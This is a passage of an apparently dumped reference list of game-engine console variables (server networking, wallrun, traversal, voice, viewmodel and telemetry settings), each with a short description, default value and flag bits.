+sv_separate_freq_change_prop_send + + + +default: `"1"` +flags: `0x2` +
+
+sv_showClientTickCmds + + + +default: `"0"` +flags: `0x2` +
+
+sv_showLargeSnapshotSize + + + +default: `"10000"` +flags: `0x2` +
+
+sv_showSnapshots + + + +default: `"0"` +flags: `0x2` +
+
+sv_showUserCmds + + + +default: `"0"` +flags: `0x2` +
+
+sv_single_core_dedi + + + +default: `"0"` +flags: `0x2` +
+
+sv_skipSendingUnnecessaryPersistence + + + +default: `"0"` +flags: `0x2` +
+
+sv_snapshot_uniform_interval + +A snapshot is created at uniform intervals, rather than according to final_tick + +default: `"1"` +flags: `0x2` +
+
+sv_specaccelerate + + + +default: `"1000.0"` +flags: `0x2080` +
+
+sv_specnoclip + + + +default: `"1"` +flags: `0x2080` +
+
+sv_specspeed + + + +default: `"5.0"` +flags: `0x2080` +
+
+sv_stats + +Collect CPU usage stats + +default: `"1"` +flags: `0x2` +
+
+sv_stopspeed + +Minimum stopping speed when on ground. (Equivalent player setting is in player settings files) + +default: `"100"` +flags: `0x2002` +
+
+sv_stressbots + +If set to 1, the server calculates data and fills packets to bots. Used for perf testing. + +default: `"1"` +flags: `0x2` +
+
+sv_struggleCheck + +How long ago the 20th server frame can have been. 1.0 means the server is running in realtime. Higher means small hitches are ok. + +default: `"1.050"` +flags: `0x2` +
+
+sv_struggleSpam + +How long ago the 20th server frame can have been before it starts yelling. 1.0 means the server is running in realtime. Higher means small hitches are ok. + +default: `"1.4"` +flags: `0x2` +
+
+sv_struggleSpamInterval + + + +default: `"5"` +flags: `0x2` +
+
+sv_tempents_send_from_delta + +Causes snapshot send code to walk back to delta, instead of always sending just current snapshot. + +default: `"0"` +flags: `0x2` +
+
+sv_tempents_send_from_last_sent + +Causes snapshot send code to walk back to last m_lastSnapshotTick, instead of always sending just current snapshot. + +default: `"1"` +flags: `0x2` +
+
+sv_testLargeDatablock + + + +default: `"0"` +flags: `0x2` +
+
+sv_teststepsimulation + + + +default: `"0"` +flags: `0x2002` +
+
+sv_transmitToAllPlayersMask_allBitsSet + +This enables the legacy behavior of setting all bits inside of PerPlayerBitMask when we want to transmit an entities to all clients. This includes setting bits to clients that can't even exist(compare GetMaxClients to ABSOLUTE_PLAYER_LIMIT) + +default: `"0"` +flags: `0x2` +
+
+sv_unnecessaryConnectDelay + +Amount of time to wait before responding to a connecting client (or malicious hacker) + +default: `"60"` +flags: `0x2` +
+
+sv_unreliableSnapMaxSize + +If we're sending a snapshot this size or larger, send it via the datablock sender. If a player has 4% packet loss, 10k of data would have a 40% chance of making it across with no resends + +default: `"10000"` +flags: `0x2` +
+
+sv_updaterate_mp + +Maximum update rate at which server sends packets to clients in MP (updates per-second). + +default: `"20"` +flags: `0x2` +
+
+sv_updaterate_sp + +Maximum update rate at which server sends packets to clients in SP (updates per-second). + +default: `"20"` +flags: `0x2` +
+
+sv_useReputation + + + +default: `"1"` +flags: `0x2` +
+
+sv_useThreadsForSnapshots + + + +default: `"0"` +flags: `0x2` +
+
+sv_voiceEcho + +Server will return a voice chat message back to the sending client. + +default: `"0"` +flags: `0x2` +
+
+sv_voiceenable + + + +default: `"1"` +flags: `0x80080` +
+
+sv_warnAboutCmdNumJumps + + + +default: `"20"` +flags: `0x2` +
+
+sv_watchdogTimer + + + +default: `"20"` +flags: `0x2` +
+
+sv_wateraccelerate + + + +default: `"10"` +flags: `0x2002` +
+
+sv_waterdist + +Vertical view fixup when eyes are near water plane. + +default: `"12"` +flags: `0x2002` +
+
+sv_writePersistenceOnShutdown + + + +default: `"1"` +flags: `0x2` +
+
+sys_attract_mode_timeout + + + +default: `"30"` +flags: `0x2` +
+
+system_alt_f4_closes_window + +If set to true, alt+f4 will close the window + +default: `"1"` +flags: `0x2` +
+
+teams_unassigned_are_friendly + + + +default: `"0"` +flags: `0x2002` +
+
+telemetry_client_debug + + + +default: `"0"` +flags: `0x2` +
+
+telemetry_client_enable + +Enable sending telemetry data + +default: `"1"` +flags: `0x2` +
+
+telemetry_client_sendInterval + +How often to send telemetry data (seconds) + +default: `"10.0"` +flags: `0x2` +
+
+telemetryevent_client_enable + +Enable sending client telemetry events + +default: `"1"` +flags: `0x2` +
+
+tencent_restricted + + + +default: `"0"` +flags: `0x2` +
+
+test_fakeTimeDays + +Days worth of seconds that will be added to the result of GetUnixTimestamp() for script and playlist rotation. Server authoritive. + +default: `"0"` +flags: `0x2002` +
+
+tether_damageScale + +amount that stretching the tether damages it + +default: `"0.00"` +flags: `0x2002` +
+
+tether_dodge_damage + +Damage done to tether by dodging away from it + +default: `"0"` +flags: `0x2002` +
+
+tether_healthDrain + +rate at which tether health drains even if it isn't stretched + +default: `"200"` +flags: `0x2002` +
+
+tether_healthDrainNPC + +rate at which tether health drains even if it isn't stretched (when attached to an NPC) + +default: `"200"` +flags: `0x2002` +
+
+tether_maxvel + +max velocity with which tether pulls you back + +default: `"200"` +flags: `0x2002` +
+
+tether_radius + +radius below which the tether does nothing + +default: `"250"` +flags: `0x2002` +
+
+tether_strength + +strength with which tether pulls back (per unit past the radius) + +default: `"25"` +flags: `0x2002` +
+
+thirdperson_mayamode + +Set to 1 to enable maya-like controls in game (only in third person) [Also don't move the camera when the mouse moves.] + +default: `"0"` +flags: `0x4000` +
+
+thirdperson_override + +Set to -1 to stop overriding. Set to 0 to force first person, 1 to force third person + +default: `"-1"` +flags: `0x4000` +
+
+thirdperson_screenspace + +Movement will be relative to the camera, eg: left means screen-left + +default: `"0"` +flags: `0x2` +
+
+timeout + +Seconds without communication before clients or servers will decide to disconnect. + +default: `"10"` +flags: `0x2` +
+
+timeout_during_load + +Seconds without communication during a level load before clients or servers will decide to disconnect. + +default: `"60"` +flags: `0x2` +
+
+titan_sprint_sound + + + +default: `"titan_eject_servos_3p"` +flags: `0x2` +
+
+toggle_on_jump_to_deactivate + +Toggle or release jump to deactivate the offhand weapon + +default: `"1"` +flags: `0x280` +
+
+tracehull_height_error_check + +Error checking for hull traces requiring extents with larger heights than widths. 0 = none, 1 = warnings, 2 = assert and script errors + +default: `"0"` +flags: `0x2002` +
+
+tracer_debug + + + +default: `"0"` +flags: `0x4000` +
+
+trail_optimizedRemove + + + +default: `"1"` +flags: `0x2` +
+
+traversal_anim + +Enables automantle animation + +default: `"1"` +flags: `0x2002` +
+
+traversal_cooldown + +Minimum time between traversals (in seconds) + +default: `"0.5"` +flags: `0x2002` +
+
+traversal_enable + +Enables player traversals + +default: `"1"` +flags: `0x2002` +
+
+traversal_hand_debug + +Enables debugging of traversal hand positioning + +default: `"0"` +flags: `0x2002` +
+
+traversal_hand_required_width + +Required width of geometry for hands (from center) + +default: `"6"` +flags: `0x2002` +
+
+traversal_viewLerpInDuration + +Duration of view lerp from normal at the start of a traversal + +default: `"0.15"` +flags: `0x2002` +
+
+traversal_viewLerpOut + +Controls whether traversal view position and angle lerp back to normal at the end of a traversal + +default: `"1"` +flags: `0x2` +
+
+traversal_viewLerpOutAngle + +Controls whether traversal view angle lerps back to normal at the end of a traversal + +default: `"1"` +flags: `0x2` +
+
+traversal_viewLerpOutDebug + +Debugs traversal view position lerping + +default: `"0"` +flags: `0x2` +
+
+traversal_viewLerpOutPos + +Controls whether traversal view position lerps back to normal at the end of a traversal + +default: `"1"` +flags: `0x2` +
+
+traversal_window_duration + +Duration of window side traversal animation + +default: `"0.3"` +flags: `0x2002` +
+
+traversal_window_enable + +Enables window traversals + +default: `"1"` +flags: `0x2002` +
+
+traversal_window_finish_angle + +Finishing yaw relative to the window's forward direction when starting at a 90 degree angle + +default: `"45"` +flags: `0x2002` +
+
+traversal_window_forward_offset + +Distance of player through the window after completing window traversal + +default: `"6"` +flags: `0x2002` +
+
+traversal_window_hand_vertical_offset + +Vertical distance from hand position to eye position at start and end of window traversal + +default: `"22"` +flags: `0x2002` +
+
+traversal_window_sideways_offset + +Distance of player from the edge of the window toward the center of the window after completing window traversal + +default: `"18"` +flags: `0x2002` +
+
+traversal_window_view_pitch_max + +Max view pitch when doing window traversal + +default: `"35"` +flags: `0x4000` +
+
+traversal_window_view_pitch_min + +Min view pitch when doing window traversal + +default: `"-80"` +flags: `0x4000` +
+
+traversal_window_yaw_max + +Max view yaw when doing window traversal + +default: `"80"` +flags: `0x4000` +
+
+trigger_crowd_pusher_enabled + +Enables logic for TT_CROWD_PUSHER triggers + +default: `"0"` +flags: `0x2002` +
+
+trigger_ignore_nonsolids + +If set to false, non solid objects will activate triggers. + +default: `"1"` +flags: `0x2002` +
+
+tsaa_blendfactorincreaseatmaxvelocity + + + +default: `"4.0"` +flags: `0x2` +
+
+tsaa_blendfactorincreasewhenunoccluded + + + +default: `"5.0"` +flags: `0x2` +
+
+tsaa_blendfactormaxesoutatvelocity + + + +default: `"0.25"` +flags: `0x2` +
+
+tsaa_blendfactormodulationonsparklesandunocclusion + + + +default: `"1"` +flags: `0x2` +
+
+tsaa_blendfactoroverride + + + +default: `"-1"` +flags: `0x2` +
+
+tsaa_curframeblendamount + + + +default: `"0.05"` +flags: `0x2` +
+
+tsaa_debugresponsiveflag + + + +default: `"0"` +flags: `0x2` +
+
+tsaa_neighborhoodclamping + + + +default: `"1"` +flags: `0x2` +
+
+tsaa_neighborhoodclampingsoftened + + + +default: `"1"` +flags: `0x2` +
+
+tsaa_numsamples + + + +default: `"64"` +flags: `0x2` +
+
+tweak_light_shadows_every_frame + + + +default: `"0"` +flags: `0x2` +
+
+twitch_check_interval + +how often we ask if this user has a linked twitch prime account if we think they don't have one + +default: `"3600"` +flags: `0x2` +
+
+twitch_prime_rewards + + + +default: `""` +flags: `0x210` +
+
+twitch_shouldQuery + +true if we should check to see if this user has a linked twitch prime account + +default: `"1"` +flags: `0x2` +
+
+ui_DpadNavigationDeActive + + + +default: `"1"` +flags: `0x2` +
+
+ui_fadecloud_time + + + +default: `"1.5"` +flags: `0x2` +
+
+ui_fadexui_time + + + +default: `"0.5"` +flags: `0x2` +
+
+ui_gameui_ctrlr_title + + + +default: `"0"` +flags: `0x2` +
+
+ui_gameui_modal + +If set, the game UI pages will take modal input focus. + +default: `"0"` +flags: `0x2` +
+
+ui_loadingscreen_autotransition_time + + + +default: `"5.0"` +flags: `0x2` +
+
+ui_loadingscreen_fadein_time + + + +default: `"1.0"` +flags: `0x2` +
+
+ui_loadingscreen_fadeout_time + + + +default: `"0.2"` +flags: `0x2` +
+
+ui_loadingscreen_fadeout_time + + + +default: `"1.0"` +flags: `0x2` +
+
+ui_loadingscreen_mintransition_time + + + +default: `"0.5"` +flags: `0x2` +
+
+ui_loadingscreen_transition_time + + + +default: `"1.0"` +flags: `0x2` +
+
+ui_lobby_jointimeout + + + +default: `"75"` +flags: `0x2` +
+
+ui_lobby_noautostart + + + +default: `"0"` +flags: `0x2` +
+
+ui_lobby_noresults_create_msg_time + + + +default: `"2.5"` +flags: `0x2` +
+
+ui_posedebug_fade_in_time + +Time during which a new pose activity layer is shown in green in +posedebug UI + +default: `"0.2"` +flags: `0x24000` +
+
+ui_posedebug_fade_out_time + +Time to keep a no longer active pose activity layer in red until removing it from +posedebug UI + +default: `"0.8"` +flags: `0x24000` +
+
+ui_virtualnav_render + + + +default: `"0"` +flags: `0x2` +
+
+unique_entity_names + +Should entities have permanently unique entity names. Or just concurrently unique? + +default: `"0"` +flags: `0x2002` +
+
+usePromptBaseColor + + + +default: `"255 255 255 255"` +flags: `0x2` +
+
+usePromptButtonTextColor + + + +default: `"255 255 255 255"` +flags: `0x2` +
+
+usePromptImageScale + + + +default: `"1.5"` +flags: `0x2` +
+
+usePromptImageYOffset + + + +default: `"0"` +flags: `0x2` +
+
+usePromptTextColor + + + +default: `"220 215 210 255"` +flags: `0x2` +
+
+use_monitors + + + +default: `"1"` +flags: `0x2` +
+
+use_presence_to_refresh_userInfoCache + + + +default: `"1"` +flags: `0x2` +
+
+use_valve_auto_gain + + + +default: `"0"` +flags: `0x2` +
+
+use_vm_cloak_offset + + + +default: `"1.0"` +flags: `0x2` +
+
+user_tracking_enabled + + + +default: `"0"` +flags: `0x12` +
+
+users_hostname + + + +default: `""` +flags: `0x80000` +
+
+v_centermove + + + +default: `"0.15"` +flags: `0x2` +
+
+v_centerspeed + + + +default: `"500"` +flags: `0x2` +
+
+variable_sights_gravity_scale_override + +Projectile Gravity Scale to be used for variable sights. + +default: `"1.0"` +flags: `0x2` +
+
+vehicle_predictViaPlayer + +Predict this vehicle if the player's data says they're driving this vehicle...rather than checking if this vehicle has a driver + +default: `"0"` +flags: `0x2` +
+
+vgui_EnableFixedAspectScaling + +Enables fixed screen size for vgui elements + +default: `"1"` +flags: `0x2` +
+
+vgui_drawPolyShapes + + + +default: `"0"` +flags: `0x2` +
+
+vgui_drawfocus + +Report which panel is under the mouse. + +default: `"0"` +flags: `0x2` +
+
+vgui_drawfocus + +Report which panel is under the mouse. + +default: `"0"` +flags: `0x2` +
+
+vgui_drawkeyfocus + +Report which panel has keyboard focus. + +default: `"0"` +flags: `0x2` +
+
+vgui_interactive + + + +default: `"0"` +flags: `0x2` +
+
+vgui_noquads + + + +default: `"0"` +flags: `0x4000` +
+
+vgui_notext + + + +default: `"0"` +flags: `0x4000` +
+
+vgui_resize_on_resolution_change + + + +default: `"0"` +flags: `0x2` +
+
+vgui_show_glyph_miss + + + +default: `"0"` +flags: `0x2` +
+
+vgui_simulate_during_bone_setup + + + +default: `"1"` +flags: `0x2` +
+
+video_menu_uiscript_reset + + + +default: `"1"` +flags: `0x2` +
+
+viewDrift + + + +default: `"1"` +flags: `0x2002` +
+
+viewDrift_ads_delay_debounce_time + +Time between zoom-out and zoom-in before viewdrift_ads_delay is reset. + +default: `"0.5"` +flags: `0x2002` +
+
+viewDrift_pitch_base1_amp + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_pitch_base1_freq + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_pitch_base1_phase + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_pitch_base2_amp + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_pitch_base2_freq + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_pitch_base2_phase + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_pitch_scaler_amp + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_pitch_scaler_base + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_pitch_scaler_freq + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_pitch_scaler_phase + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_pitch_shifter_amp + + + +default: `"0.6"` +flags: `0x2002` +
+
+viewDrift_pitch_shifter_freq + + + +default: `"2.0"` +flags: `0x2002` +
+
+viewDrift_pitch_shifter_phase + + + +default: `"1.6"` +flags: `0x2002` +
+
+viewDrift_yaw_base1_amp + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_yaw_base1_freq + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_yaw_base1_phase + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_yaw_base2_amp + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_yaw_base2_freq + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_yaw_base2_phase + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_yaw_scaler_amp + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_yaw_scaler_base + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_yaw_scaler_freq + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_yaw_scaler_phase + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_yaw_shifter_amp + + + +default: `"0.7"` +flags: `0x2002` +
+
+viewDrift_yaw_shifter_freq + + + +default: `"1.0"` +flags: `0x2002` +
+
+viewDrift_yaw_shifter_phase + + + +default: `"-0.6"` +flags: `0x2002` +
+
+view_models_draw_early + + + +default: `"0"` +flags: `0x2` +
+
+view_offset_entity_enable + +Whether to apply camera animations from the view offset entity + +default: `"1"` +flags: `0x6000` +
+
+viewangle_debug + + + +default: `"0"` +flags: `0x4002` +
+
+viewangles_simpler + + + +default: `"1"` +flags: `0x2` +
+
+viewmodelShake + +Enables viewmodel shake. + +default: `"1"` +flags: `0x2` +
+
+viewmodelShake_sourceRollRange + +The range of weapon kick roll that will be sampled for viewmodel shake. + +default: `"3"` +flags: `0x2` +
+
+viewmodel_attachment_fov_fix + + + +default: `"1"` +flags: `0x2` +
+
+viewmodel_bounds_draw + + + +default: `"0"` +flags: `0x2` +
+
+viewmodel_bounds_draw_lock + + + +default: `"0"` +flags: `0x2` +
+
+viewmodel_selfshadow + +Set whether to use viewmodel self shadow + +default: `"1"` +flags: `0x2` +
+
+viewmodel_selfshadow_debug_2d + + + +default: `"0"` +flags: `0x2` +
+
+viewmodel_selfshadow_tightbounds + +Viewmodel bounds are sliced by Main view frustum + +default: `"1"` +flags: `0x2` +
+
+viewportscale + +Scale down the main viewport (to reduce GPU impact on CPU profiling) + +default: `"1.0"` +flags: `0x80000` +min value: `0.0015625` +max value: `2` +
+
+viewpunch_base_springConstantX + +Default. Bigger number increases the speed at which the view corrects. + +default: `"65.0"` +flags: `0x2002` +
+
+viewpunch_base_springConstantY + +Default. Bigger number increases the speed at which the view corrects. + +default: `"65.0"` +flags: `0x2002` +
+
+viewpunch_base_springConstantZ + +Default. Bigger number increases the speed at which the view corrects. + +default: `"65.0"` +flags: `0x2002` +
+
+viewpunch_base_springDampingX + +Default. Bigger number makes the response more damped. + +default: `"9.0"` +flags: `0x2002` +
+
+viewpunch_base_springDampingY + +Default. Bigger number makes the response more damped. + +default: `"9.0"` +flags: `0x2002` +
+
+viewpunch_base_springDampingZ + +Default. Bigger number makes the response more damped. + +default: `"9.0"` +flags: `0x2002` +
+
+violence_ablood + +Draw alien blood + +default: `"1"` +flags: `0x2` +
+
+violence_ablood + +Draw alien blood + +default: `"1"` +flags: `0x2` +
+
+violence_agibs + +Show alien gib entities + +default: `"1"` +flags: `0x2` +
+
+violence_agibs + +Show alien gib entities + +default: `"1"` +flags: `0x2` +
+
+violence_hblood + +Draw human blood + +default: `"1"` +flags: `0x2` +
+
+violence_hblood + +Draw human blood + +default: `"1"` +flags: `0x2` +
+
+violence_hgibs + +Show human gib entities + +default: `"1"` +flags: `0x2` +
+
+violence_hgibs + +Show human gib entities + +default: `"1"` +flags: `0x2` +
+
+visible_ent_cone_debug_duration_client + + + +default: `"0"` +flags: `0x2` +
+
+voice_absTriggerAmount + + + +default: `"2"` +flags: `0x2` +
+
+voice_allow_mute_self + + + +default: `"0"` +flags: `0x2` +
+
+voice_avggain + + + +default: `"0.5"` +flags: `0x2` +
+
+voice_clientdebug + + + +default: `"0"` +flags: `0x2` +
+
+voice_debugAddSecondTalker + + + +default: `"0"` +flags: `0x2` +
+
+voice_debugThresholds + + + +default: `"0"` +flags: `0x2` +
+
+voice_debugfeedback + + + +default: `"0"` +flags: `0x2` +
+
+voice_decimate_at_bytes + + + +default: `"22050"` +flags: `0x2` +
+
+voice_decimate_rate + + + +default: `"10"` +flags: `0x2` +
+
+voice_enabled + +Toggle voice transmit and receive. + +default: `"1"` +flags: `0x1000000` +
+
+voice_energyPerZeroThreshold + + + +default: `"8000"` +flags: `0x2` +
+
+voice_energyThreshold + + + +default: `"12000"` +flags: `0x2` +
+
+voice_forcemicrecord + + + +default: `"1"` +flags: `0x80` +
+
+voice_inputfromfile + +Get voice input from 'voice_input.wav' rather than from the microphone. + +default: `"0"` +flags: `0x80000` +
+
+voice_late_update + + + +default: `"1"` +flags: `0x2` +
+
+voice_loopback + + + +default: `"0"` +flags: `0x200` +
+
+voice_maxgain + + + +default: `"10"` +flags: `0x2` +
+
+voice_minEnergyPerZeroThreshold + + + +default: `"1000"` +flags: `0x2` +
+
+voice_mixer_boost + + + +default: `"0"` +flags: `0x80` +
+
+voice_mixer_mute + + + +default: `"0"` +flags: `0x80` +
+
+voice_mixer_volume + + + +default: `"1.0"` +flags: `0x80` +
+
+voice_modenable + +Enable/disable voice in this mod. + +default: `"1"` +flags: `0x40000080` +
+
+voice_noxplat + +Only send voice data to players on the same platform as the talker + +default: `"0"` +flags: `0x2` +
+
+voice_profile + + + +default: `"0"` +flags: `0x2` +
+
+voice_recordtofile + +Record mic data and decompressed voice data into 'voice_micdata.wav' and 'voice_decompressed.wav' + +default: `"0"` +flags: `0x80000` +
+
+voice_scale + + + +default: `"1"` +flags: `0x80` +
+
+voice_showchannels + + + +default: `"0"` +flags: `0x2` +
+
+voice_showincoming + + + +default: `"0"` +flags: `0x2` +
+
+voice_threshold_delay + + + +default: `"0.3"` +flags: `0x2` +
+
+voice_triggerCrossingRate + + + +default: `"0"` +flags: `0x2` +
+
+voice_triggerRate + + + +default: `"50"` +flags: `0x2` +
+
+voice_turn_off_new_filters + + + +default: `"0"` +flags: `0x2` +
+
+voice_vox + +Voice chat uses a vox-style always on + +default: `"1"` +flags: `0x80` +max value: `1` +
+
+voice_writevoices + +Saves each speaker's voice data into separate .wav files + + +default: `"0"` +flags: `0x2` +
+
+voice_xsend_debug + + + +default: `"0"` +flags: `0x2` +
+
+voice_zeroCrossingThreshold + + + +default: `"0.02"` +flags: `0x2` +
+
+vortex_damageimpulsescale + +Scales impulse force from bullets when using the vortex + +default: `"0.5"` +flags: `0x6000` +
+
+vprof_server_spike_threshold + + + +default: `"999.0"` +flags: `0x2` +
+
+vprof_server_thread + + + +default: `"0"` +flags: `0x2` +
+
+vscript_ui_do_delay_init + + + +default: `"1"` +flags: `0x12` +
+
+vsm_culling + + + +default: `"1"` +flags: `0x2` +
+
+vsm_ignore_edge_planes + + + +default: `"0"` +flags: `0x2` +
+
+vsm_ignore_face_planes + + + +default: `"0"` +flags: `0x2` +
+
+vtx_environment + + + +default: `"production"` +flags: `0x80000` +
+
+vx_do_not_throttle_events + +Force VXConsole updates every frame; smoother vprof data but at a slight (~0.2ms) perf cost. + +default: `"0"` +flags: `0x2` +
+
+vxs_persistence + + + +default: `"R5"` +flags: `0x80000` +
+
+wall_climb_pose_paramteter_hands_enabled + + + +default: `"1"` +flags: `0x2002` +
+
+wallclimb_vertical_gain_reduction + +Amount of height the player loses when falling off a wall climb that can't be regained by future wall climbs before touching the ground. + +default: `"128"` +flags: `0x2002` +
+
+wallrun_angleChangeMinCos + +Cosine of maximum angle the wall can change away from you without falling off + +default: `"0.8"` +flags: `0x2002` +
+
+wallrun_avoid_wall_top_decel + +Deceleration applied to prevent the player from wall running too close to the top of a wall and falling off + +default: `"3000"` +flags: `0x2002` +
+
+wallrun_curveDebug + +Draws debugging information for wallrun curves + +default: `"0"` +flags: `0x2002` +
+
+wallrun_curveEnable + +Enables usage of wallrun curve hints + +default: `"1"` +flags: `0x2002` +
+
+wallrun_debug + +Shows wall run debug info + +default: `"0"` +flags: `0x2002` +
+
+wallrun_enable + +Enables wall running + +default: `"1"` +flags: `0x2002` +
+
+wallrun_fallAwaySpeed + +Velocity away from the wall when falling off + +default: `"70.0"` +flags: `0x2002` +
+
+wallrun_hangStopTime + +Length of time to come to a stop when zooming + +default: `"0.5"` +flags: `0x2002` +
+
+wallrun_hangslipduration + +Time it takes for slipping to become completely gravity based + +default: `"1.0"` +flags: `0x2002` +
+
+wallrun_hangslipstarttime + +Time wall hanging before you start to slip down + +default: `"3.0"` +flags: `0x2002` +
+
+wallrun_hangslipvel + +Impulse downward when slipping starts while wall hanging + +default: `"70"` +flags: `0x2002` +
+
+wallrun_maxViewTilt + +Amount of roll applied to the view in degrees while wall running + +default: `"10.0"` +flags: `0x2002` +
+
+wallrun_minAngle_air + +Angle at which you can start wall running when hitting a wall from a jump (0 to 180) + +default: `"180.0"` +flags: `0x2002` +
+
+wallrun_noInputSlipFrac + +Min fraction of slip behavior when not pushing in any direction (applies more gravity) + +default: `"0.7"` +flags: `0x2002` +
+
+wallrun_pushAwayFallOffTime + +Pushing away from the wall for this many seconds causes you to fall off + +default: `"0.05"` +flags: `0x2002` +
+
+wallrun_repelEnable + +Enables repelling players from walls they have jumped off of + +default: `"1"` +flags: `0x2002` +
+
+wallrun_repelSoftness + +Softness of wall jump repel: higher values make it easier for players to reduce their speed away from the wall + +default: `"5.0"` +flags: `0x2002` +
+
+wallrun_repelTimeMax + +Time after jumping off the wall that player is no longer repelled from the wall + +default: `"0.4"` +flags: `0x2002` +
+
+wallrun_repelTimeMin + +Time after jumping off the wall that player is repelled from the wall + +default: `"0.2"` +flags: `0x2002` +
+
+wallrun_retry_interval + +Length of time between checking for the ability to wallrun after hitting a wall in air movement + +default: `"0.07"` +flags: `0x2002` +
+
+wallrun_rotateMaxRate + +Maximum rotation speed around a wall in radians per second; avoids sticking to walls that do tight curves + +default: `"3"` +flags: `0x2002` +
+
+wallrun_sameWallDist + +Within this distance of the previous wall run, wall run is prevented at a higher point on the same wall + +default: `"100"` +flags: `0x2002` +
+
+wallrun_sameWallDot + +Dot product threshold for preventing wall running on the same wall twice + +default: `"0.9"` +flags: `0x2002` +
+
+wallrun_sameWallSlope + +Beyond wallrun_samewalldist, wall running is permitted at higher points with this slope + +default: `"0"` +flags: `0x2002` +
+
+wallrun_slipduration + +Time it takes for slipping to become completely gravity based + +default: `"1.0"` +flags: `0x2002` +
+
+wallrun_slipslowdown + +Fraction of velocity lost when slipping starts + +default: `"0.5"` +flags: `0x2002` +
+
+wallrun_slipstarttime + +Time wall running before you start to slip down + +default: `"1.5"` +flags: `0x2002` +
+
+wallrun_slipvel + +Impulse downward when slipping starts + +default: `"70"` +flags: `0x2002` +
+
+wallrun_strengthLossEnd + +Number of wall runs at which point upward strength is fully lost (scales upWallBoost, jumpUpSpeed, and gravityRampUpTime to zero) + +default: `"1000"` +flags: `0x2002` +
+
+wallrun_strengthLossStart + +Number of wall runs allowed before starting to lose upward strength (scales upWallBoost, jumpUpSpeed, and gravityRampUpTime) + +default: `"1000"` +flags: `0x2002` +
+
+wallrun_upwardAutoPush + +The amount of automatic up-the-wall input applied when the player pushes forward along the wall. Helps to fight gravity when pushing forward. + +default: `"0.65"` +flags: `0x2002` +
+
+wallrun_viewTiltPredictTime + +Time before you start wall running where your view starts tilting. Predicts upcoming wall running + +default: `"0.25"` +flags: `0x2002` +
+
+wallrun_viewTiltSpeed + +Speed at which the view tilts while wall running + +default: `"6.0"` +flags: `0x2002` +
+
+was_loaded + +Current game from a restore? + +default: `""` +flags: `0x12002` +
+
+weaponFastHolsterScale + +Scales holster animations if swapping to a weapon with "fast_swap_to" enabled. + +default: `"0.25"` +flags: `0x2002` +
+
+weaponSwitch3p_checkNewWeapon + +Only play 3p weapon switch if there is a new weapon. + +default: `"1"` +flags: `0x2002` +
+
+weaponSwitch3p_onHolster + +Start third person weapon switch animation as soon as the current weapon starts being holstered. + +default: `"1"` +flags: `0x2002` +
+
+weapon_auto_swap_ordnance_no_ammo + +If you touch a new ordnance weapon with no ammo in your current it will auto replace it + +default: `"0"` +flags: `0x2002` +
+
+weapon_debugScript + + + +default: `"0"` +flags: `0x2002` +
+
+weapon_doIdleForSurvivalMelee + + + +default: `"0"` +flags: `0x2` +
+
+weapon_friendly_fire_prevent_ui + +UI to show on friendly fire prevention + +default: `""` +flags: `0x2` +
+
+weapon_meleeButtonPressProtection + + + +default: `"1"` +flags: `0x2002` +
+
+weapon_parentingFixLerp + + + +default: `"1"` +flags: `0x2` +
+
+weapon_pickup_allow_dupes + +Whether or not you are allowed 2 of the same weapon in your inventory + +default: `"1"` +flags: `0x2002` +
+
+weapon_poseParamMaxDistance + + + +default: `"6000"` +flags: `0x2` +
+
+weapon_render_with_fastpath + +Allow weapons to draw using the fast path. + +default: `"1"` +flags: `0x2` +
+
+weapon_setting_autocycle_on_empty + + + +default: `"1"` +flags: `0x41000200` +
+
+weapon_sprint_raise_delay + +Enables weapon delay between sprint and shooting + +default: `"1"` +flags: `0x2002` +
+
+weaponx_predicting_client_only_optimization + +Enable/disable weaponx optimization for burst fire, shot count and charge data only being sent to predicting client + +default: `"1"` +flags: `0x2002` +
+
+weaponx_smartammo_data_optimization + +Enable/disable weaponx smartammo data optimization. Only applies with net_optimize_weapons >= 2 + +default: `"0"` +flags: `0x2002` +
+
+window_hint_debug + +Debugs search for window hints + +default: `"0"` +flags: `0x2002` +
+
+window_hint_fov_down + +Window hints below this vertical FOV will be ignored + +default: `"0"` +flags: `0x2002` +
+
+window_hint_fov_horz + +Window hints beyond this horizontal FOV will be ignored + +default: `"60"` +flags: `0x2002` +
+
+window_hint_fov_up + +Window hints above this vertical FOV will be ignored + +default: `"60"` +flags: `0x2002` +
+
+window_hint_keyboard_fov_horz + +Window hints beyond this horizontal FOV will be ignored + +default: `"7"` +flags: `0x2002` +
+
+window_hint_lookahead_time + +Lookahead prediction time for window checks + +default: `"0.8"` +flags: `0x2002` +
+
+window_hint_max_horz_vel_change_dot + +Min dot product of velocity change when adjusting for windows + +default: `"0.966f"` +flags: `0x2002` +
+
+window_hint_max_vel_change_down + +Max removed vertical velocity when adjusting for windows + +default: `"150"` +flags: `0x2002` +
+
+window_hint_max_vel_change_up + +Max added vertical velocity when adjusting for windows + +default: `"80"` +flags: `0x2002` +
+
+window_hint_min_horz_vel + +Horizontal velocity is increased to at least this when adjusting for windows + +default: `"100"` +flags: `0x2002` +
+
+window_hint_permissive_max_horz_vel_change_dot + +Min dot product of velocity change when adjusting for windows (off grapple) + +default: `"0.88f"` +flags: `0x2002` +
+
+window_hint_permissive_max_vel_change_down + +Max removed vertical velocity when adjusting for windows (off grapple) + +default: `"300"` +flags: `0x2002` +
+
+window_hint_permissive_max_vel_change_up + +Max added vertical velocity when adjusting for windows (off grapple) + +default: `"300"` +flags: `0x2002` +
+
+z_ragdoll_impact_strength + + + +default: `"500"` +flags: `0x2` +
+
